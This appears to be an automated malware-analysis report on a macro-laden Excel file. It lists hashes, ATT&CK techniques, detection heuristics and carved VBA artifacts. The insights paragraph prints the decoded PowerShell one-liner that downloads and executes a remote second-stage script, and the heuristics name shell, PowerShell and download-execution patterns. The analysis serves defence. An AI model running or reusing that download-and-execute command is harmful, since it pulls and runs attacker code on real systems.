Office (OOXML) malware analysis — malicious · 5852eb080b3cb3ed

MALICIOUS

Office (OOXML)

12.5 KB Created: 2021-07-27 05:48:54 UTC Authoring application: Microsoft Excel 15.0300

MD5: f37e357eefef4e099495fa4477f792dc SHA-1: c76cde521ace132ab8361283fb3eaac443ec4936 SHA-256: 5852eb080b3cb3ed1995c79e08019fd7f47499ebf1845fe7942380690b0f7028

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel document containing a VBA macro with an Auto_Open subroutine. This subroutine calls the Shell() function to execute a hidden PowerShell command. The PowerShell command is Base64 encoded and decodes to 'iex (New-Object Net.WebClient).DownloadString(\'http://10.10.14.3/HTTPGrun.ps1\')', indicating it downloads and executes a second-stage payload from the specified URL. This is a common pattern for macro-based malware delivery.

Heuristics 6

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA
Auto_Open macro high OLE_VBA_AUTO

Auto_Open macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `bba0f0cbd5b2d93aa563601e18c7dd1103ffac7b5532ecaa3af76000dac116b5`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	948 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
`vbaProject_00.bin` `e02b6578a9a86ea50852e3fb51b243de17e8d51f023a0058aa95963d7363af17`	vba-project	OOXML VBA project: xl/vbaProject.bin	14336 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.